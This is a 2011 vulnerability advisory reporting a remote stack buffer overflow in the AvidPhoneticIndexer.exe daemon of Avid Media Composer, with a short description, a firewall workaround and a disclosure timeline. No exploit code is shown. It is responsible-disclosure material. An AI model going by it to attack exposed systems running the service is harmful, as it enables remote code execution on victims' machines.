Exploit:
#Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow 
#Vendor Website : http://www.avid.com
#Date Released : November 29, 2011 
#Affected Software : AVID Media Composer <= 5.5.3 Researcher
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.

#Solution
#No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.

#Disclosure timeline
#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to AVID.
#14/05/11: Vulnerability identified.
#17/05/11: Avid Media Composer 5.5.2 released.
#26/05/11: Attempted calling, left voicemail and emailed the AVID Application Security Management team.
#Early June 2011: Called members of the AVID Media Composer Development team.
#Early-Mid June 2011: Emailed AVID Media Composer Product Management team, who indicated that they were aware #of the vulnerabilities before I had explained the nature of the issues. AVID explained that all #vulnerabilities were in the process of being resolved. Security-Assessment.com suggested collaboration to #ensure all issues were being identified, but AVID was not interested in pursuing this.
